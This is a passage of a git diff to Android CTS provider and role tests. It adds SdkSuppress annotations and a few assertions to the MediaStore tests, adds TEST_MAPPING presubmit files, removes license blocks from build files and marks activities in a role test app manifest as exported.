 import java.io.OutputStream;
 import java.util.Optional;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStorePlacementTest {
     static final String TAG = "MediaStorePlacementTest";
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
index 0dae752..72d6a64 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
@@ -40,6 +40,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.After;
 import org.junit.Before;
@@ -51,6 +52,7 @@
 
 import java.util.Set;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStoreTest {
     static final String TAG = "MediaStoreTest";
@@ -79,7 +81,7 @@
         mContext = InstrumentationRegistry.getTargetContext();
         mContentResolver = mContext.getContentResolver();
 
-        Log.d(TAG, "Using volume " + mVolumeName);
+        Log.d(TAG, "Using volume " + mVolumeName + " for user " + mContext.getUserId());
         mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
     }
 
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTrashedTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTrashedTest.java
index 2ed9aff..7778e8a 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTrashedTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTrashedTest.java
@@ -26,6 +26,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.provider.MediaStore;
 import android.provider.MediaStore.MediaColumns;
@@ -34,6 +35,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Assume;
 import org.junit.Before;
@@ -45,6 +47,7 @@
 
 import java.io.File;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStoreTrashedTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
index 0120afb..49a33ad 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
@@ -19,6 +19,7 @@
 import android.content.ContentValues;
 import android.content.Context;
 import android.net.Uri;
+import android.os.Build;
 import android.os.ParcelFileDescriptor;
 import android.provider.MediaStore;
 import android.provider.MediaStore.DownloadColumns;
@@ -34,7 +35,9 @@
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
+import androidx.test.filters.SdkSuppress;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 public class MediaStoreUtils {
     @Test
     public void testStub() {
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java
index 5cdfa54..39b58ce 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java
@@ -19,14 +19,17 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
+import android.os.Build;
 import android.provider.MediaStore.Audio;
 
 import androidx.test.runner.AndroidJUnit4;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(AndroidJUnit4.class)
 public class MediaStore_AudioTest {
     private String mKeyForBeatles;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java
index 2621949..7f1f9b4 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java
@@ -32,6 +32,7 @@
 import android.database.Cursor;
 import android.graphics.BitmapFactory;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Albums;
 import android.provider.MediaStore.Audio.Media;
@@ -43,6 +44,7 @@
 import android.util.Size;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -54,6 +56,7 @@
 import java.io.File;
 import java.io.IOException;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_AlbumsTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java
index 6ab7c28..39ad280 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_ArtistsTest.java
@@ -28,6 +28,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore.Audio.Artists;
 import android.provider.cts.ProviderTestUtils;
 import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
@@ -35,6 +36,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -43,6 +45,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_ArtistsTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java
index a3bd099..2af1998 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Artists_AlbumsTest.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Artists.Albums;
 import android.provider.MediaStore.Audio.Media;
@@ -38,6 +39,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -46,6 +48,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_Artists_AlbumsTest {
     private Context mContext;
@@ -100,6 +103,7 @@
             assertEquals(1, c.getCount());
             c.moveToFirst();
 
+            assertFalse(c.isNull(c.getColumnIndex(Albums._ID)));
             assertFalse(c.isNull(c.getColumnIndex(Albums.ALBUM_ID)));
             assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Albums.ALBUM)));
             assertNull(c.getString(c.getColumnIndex(Albums.ALBUM_ART)));
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java
index dee863f..83d1ba2 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_GenresTest.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore.Audio.Genres;
 import android.provider.MediaStore.Audio.Genres.Members;
 import android.provider.cts.ProviderTestUtils;
@@ -36,6 +37,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Ignore;
@@ -45,6 +47,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_GenresTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java
index b9dc9c9..2a45fdc 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Genres_MembersTest.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Genres;
 import android.provider.MediaStore.Audio.Genres.Members;
@@ -39,6 +40,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.After;
 import org.junit.Before;
@@ -49,6 +51,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_Genres_MembersTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
index 00aabc2..f5eaa5e 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Environment;
 import android.provider.MediaStore;
@@ -44,6 +45,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -55,6 +57,7 @@
 import java.io.File;
 import java.io.OutputStream;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_MediaTest {
     private Context mContext;
@@ -105,6 +108,10 @@
         assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(internalPath), null, null,
                 null, null));
         c.close();
+
+        // Check other volume has correct uri
+        assertEquals(Media.getContentUri("0000-0000"),
+                Media.getContentUriForPath("/storage/0000-0000/foo.jpg"));
     }
 
     @Test
@@ -150,6 +157,7 @@
             assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Media.IS_MUSIC)));
             assertEquals(Audio1.IS_NOTIFICATION, c.getInt(c.getColumnIndex(Media.IS_NOTIFICATION)));
             assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Media.IS_RINGTONE)));
+            assertEquals(Audio1.IS_RECORDING, c.getInt(c.getColumnIndex(Media.IS_RECORDING)));
             assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Media.TRACK)));
             assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Media.YEAR)));
             String titleKey = c.getString(c.getColumnIndex(Media.TITLE_KEY));
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
index 0d0ec25..46c59e7 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
@@ -28,6 +28,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Playlists;
 import android.provider.MediaStore.MediaColumns;
@@ -35,6 +36,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -43,6 +45,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_PlaylistsTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java
index 76f7470..be57b56 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_Playlists_MembersTest.java
@@ -29,6 +29,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Audio.Media;
 import android.provider.MediaStore.Audio.Playlists;
@@ -43,6 +44,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.After;
 import org.junit.Before;
@@ -52,6 +54,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Audio_Playlists_MembersTest {
     private String[] mAudioProjection = {
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java
index a0fc55c..963e61e 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_DownloadsTest.java
@@ -30,6 +30,7 @@
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.os.FileUtils;
 import android.provider.MediaStore;
@@ -44,6 +45,7 @@
 import android.util.Size;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Assume;
 import org.junit.Before;
@@ -64,6 +66,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_DownloadsTest {
     private static final String TAG = MediaStore_DownloadsTest.class.getSimpleName();
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
index aa5b1be..95cb076 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_FilesTest.java
@@ -35,6 +35,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.os.ParcelFileDescriptor;
 import android.provider.MediaStore;
@@ -45,6 +46,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -58,6 +60,7 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_FilesTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
index 67b233d..d51c540 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -34,6 +34,7 @@
 import android.graphics.BitmapFactory;
 import android.media.ExifInterface;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Environment;
 import android.os.FileUtils;
@@ -51,6 +52,7 @@
 import android.util.Size;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Assume;
 import org.junit.Before;
@@ -69,6 +71,7 @@
 import java.util.Arrays;
 import java.util.HashSet;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Images_MediaTest {
     private static final String MIME_TYPE_JPEG = "image/jpeg";
@@ -392,8 +395,6 @@
 
     @Test
     public void testLocationRedaction() throws Exception {
-        // STOPSHIP: remove this once isolated storage is always enabled
-        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
         final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.lg_g4_iso_800_jpg, mExternalImages,
                 "image/jpeg");
         final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
index 11a0e66..5b154fc 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_ThumbnailsTest.java
@@ -40,6 +40,7 @@
 import android.graphics.Color;
 import android.graphics.ImageDecoder;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Images.Media;
@@ -57,6 +58,7 @@
 import android.util.Size;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import junit.framework.AssertionFailedError;
 
@@ -74,6 +76,7 @@
 import java.io.OutputStream;
 import java.util.ArrayList;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Images_ThumbnailsTest {
     private ArrayList<Uri> mRowsAdded;
@@ -115,7 +118,7 @@
 
         mRowsAdded = new ArrayList<Uri>();
 
-        Log.d(TAG, "Using volume " + mVolumeName);
+        Log.d(TAG, "Using volume " + mVolumeName + " for user " + mContext.getUserId());
         mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
 
         final Resources res = mContext.getResources();
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_MetadataKeysTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_MetadataKeysTest.java
index e70df20..3bb44eb 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_MetadataKeysTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_MetadataKeysTest.java
@@ -29,12 +29,14 @@
 import android.content.pm.ComponentInfo;
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Bundle;
 import android.provider.MediaStore;
 import android.provider.apps.cts.gallerytestapp.ReviewActivity;
 import android.provider.apps.cts.gallerytestapp.ReviewPrewarmService;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.internal.util.ArrayUtils;
@@ -44,6 +46,7 @@
 
 import java.util.List;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(AndroidJUnit4.class)
 public class MediaStore_MetadataKeysTest {
     private static final String TEST_PACKAGE_NAME = "android.provider.apps.cts.gallerytestapp";
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java
index 202c3ea..1caa7ed 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_VideoTest.java
@@ -26,6 +26,7 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Video;
 import android.provider.MediaStore.Video.VideoColumns;
@@ -34,6 +35,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -44,6 +46,7 @@
 
 import java.io.File;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_VideoTest {
     private Context mContext;
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index 7965549..24332de 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -33,6 +33,7 @@
 import android.database.Cursor;
 import android.media.MediaMetadataRetriever;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
@@ -49,6 +50,7 @@
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import org.junit.Assume;
 import org.junit.Before;
@@ -66,6 +68,7 @@
 import java.io.OutputStream;
 import java.util.Arrays;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Video_MediaTest {
     private Context mContext;
@@ -258,9 +261,6 @@
     @SecurityTest
     @Test
     public void testIsoLocationRedaction() throws Exception {
-        // STOPSHIP: remove this once isolated storage is always enabled
-        Assume.assumeTrue(StorageManager.hasIsolatedStorage());
-
         // These videos have all had their ISO location metadata (in the (c)xyz box) artificially
         // modified to +58.0000+011.0000 (middle of Skagerrak).
         int[] videoIds = new int[] {
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java
index a2859b7..b04d1dd 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java
@@ -36,6 +36,7 @@
 import android.graphics.Bitmap;
 import android.media.MediaMetadataRetriever;
 import android.net.Uri;
+import android.os.Build;
 import android.os.FileUtils;
 import android.provider.MediaStore;
 import android.provider.MediaStore.Files;
@@ -48,6 +49,7 @@
 import android.util.Size;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 
 import com.android.compatibility.common.util.MediaUtils;
 
@@ -64,6 +66,7 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
 @RunWith(Parameterized.class)
 public class MediaStore_Video_ThumbnailsTest {
     private static final String TAG = "MediaStore_Video_ThumbnailsTest";
diff --git a/tests/tests/renderscript/TEST_MAPPING b/tests/tests/renderscript/TEST_MAPPING
new file mode 100644
index 0000000..b49b9d0
--- /dev/null
+++ b/tests/tests/renderscript/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsRenderscriptTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/renderscript/libcoremathtestcpp/Android.bp b/tests/tests/renderscript/libcoremathtestcpp/Android.bp
index d6c48c1..98717ea 100644
--- a/tests/tests/renderscript/libcoremathtestcpp/Android.bp
+++ b/tests/tests/renderscript/libcoremathtestcpp/Android.bp
@@ -16,10 +16,6 @@
 // This is the shared library included by the JNI test app.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libcoremathtestcpp_jni",
     srcs: ["CoreMathTestJni.cpp"],
diff --git a/tests/tests/renderscriptlegacy/TEST_MAPPING b/tests/tests/renderscriptlegacy/TEST_MAPPING
new file mode 100644
index 0000000..b5083ba
--- /dev/null
+++ b/tests/tests/renderscriptlegacy/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsRenderscriptLegacyTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/resolverservice/Android.bp b/tests/tests/resolverservice/Android.bp
index b2187f8..af92ff1 100644
--- a/tests/tests/resolverservice/Android.bp
+++ b/tests/tests/resolverservice/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsResolverServiceTestCases",
     sdk_version: "system_current",
diff --git a/tests/tests/resolverservice/TEST_MAPPING b/tests/tests/resolverservice/TEST_MAPPING
new file mode 100644
index 0000000..bab3685
--- /dev/null
+++ b/tests/tests/resolverservice/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsResolverServiceTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/resourcesloader/Android.bp b/tests/tests/resourcesloader/Android.bp
index d220e0a..07c0517 100644
--- a/tests/tests/resourcesloader/Android.bp
+++ b/tests/tests/resourcesloader/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsResourcesLoaderTests",
     defaults: ["cts_defaults"],
@@ -72,4 +68,4 @@
     cmd: "mkdir -p $(genDir)/assets/ && cp $(in) $(genDir)/assets/ && " +
          "$(location soong_zip) -o $(out) " +
          "-L 0 -C $(genDir) -D $(genDir)/assets/"
-}
+}
\ No newline at end of file
diff --git a/tests/tests/resourcesloader/TEST_MAPPING b/tests/tests/resourcesloader/TEST_MAPPING
new file mode 100644
index 0000000..9ebc996
--- /dev/null
+++ b/tests/tests/resourcesloader/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsResourcesLoaderTests"
+    }
+  ]
+}
diff --git a/tests/tests/resourcesloader/resources/Android.bp b/tests/tests/resourcesloader/resources/Android.bp
index 8a923f8..8454206 100644
--- a/tests/tests/resourcesloader/resources/Android.bp
+++ b/tests/tests/resourcesloader/resources/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsResourcesLoaderTests_ProviderOne",
     manifest: "AndroidManifestApp.xml",
@@ -116,4 +112,4 @@
     asset_dirs: ["provider4/assets"],
     resource_dirs: ["provider4/res", "provider_stable/res"],
     aaptflags: ["-0 .txt"]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
index bb4c892..0235f65 100644
--- a/tests/tests/role/Android.bp
+++ b/tests/tests/role/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsRoleTestCases",
     sdk_version: "test_current",
diff --git a/tests/tests/role/CtsRoleTestApp/Android.bp b/tests/tests/role/CtsRoleTestApp/Android.bp
index 595afe3..ac9a6c1 100644
--- a/tests/tests/role/CtsRoleTestApp/Android.bp
+++ b/tests/tests/role/CtsRoleTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsRoleTestApp",
     sdk_version: "test_current",
diff --git a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
index 742db92..eb17122 100644
--- a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
+++ b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
@@ -17,8 +17,8 @@
   -->
 
 <manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.app.role.cts.app">
+     xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.app.role.cts.app">
 
     <uses-permission android:name="android.permission.SEND_SMS" />
 
@@ -41,20 +41,24 @@
             android:exported="true" />
 
         <!-- Dialer -->
-        <activity android:name=".DialerDialActivity">
+        <activity
+            android:name=".DialerDialActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <intent-filter>
                 <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.DEFAULT" />
                 <data android:scheme="tel" />
             </intent-filter>
         </activity>
 
         <!-- Sms -->
-        <activity android:name=".SmsSendToActivity">
+        <activity
+            android:name=".SmsSendToActivity"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SENDTO" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -63,7 +67,8 @@
         </activity>
         <service
             android:name=".SmsRespondViaMessageService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
+            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
